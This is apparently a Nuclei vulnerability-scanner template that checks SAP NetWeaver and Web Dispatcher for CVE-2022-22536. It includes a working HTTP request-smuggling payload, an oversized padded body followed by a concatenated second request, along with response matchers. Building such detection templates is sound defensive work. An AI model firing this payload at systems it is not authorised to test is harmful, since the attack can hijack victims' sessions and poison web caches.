id: CVE-2022-22536

info:
  name: SAP Memory Pipes (MPI) Desynchronization
  author: pdteam
  severity: critical
  description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive data and potential data leakage.
  remediation: |
    Apply the latest security patches and updates provided by SAP to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22536
    - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
    - https://github.com/Onapsis/onapsis_icmad_scanner
    - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
    - https://launchpad.support.sap.com/#/notes/3123396
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22536
    cwe-id: CWE-444
    epss-score: 0.96507
    epss-percentile: 0.99572
    cpe: cpe:2.3:a:sap:content_server:7.53:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sap
    product: content_server
    shodan-query: http.favicon.hash:-266008933
  tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev

http:
  - raw:
      - |+
        GET {{sap_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 82646
        Connection: keep-alive

        {{repeat("A", 82642)}}

        GET / HTTP/1.1
        Host: {{Hostname}}

    payloads:
      sap_path:
        # based on https://github.com/Onapsis/onapsis_icmad_scanner
        - /sap/admin/public/default.html
        - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
    stop-at-first-match: true
    unsafe: true
    read-all: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body), 'administration')"
          - "contains(tolower(header), 'content-type: image/png')"
        condition: or

      - type: word
        part: body
        words:
          - "HTTP/1.0 400 Bad Request" # error in concatenated response
          - "HTTP/1.0 500 Internal Server Error"
          - "HTTP/1.0 500 Dispatching Error"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a004730450220625e735423251591072249e5f4c141a534b0b1abf0e798f02463087caee9f42c022100a73cdb01bbb0719b01521f92e0e2542f481efa8d92ad61f31787a51cf819d1a2:922c64590222798bb761d5b6d8e72950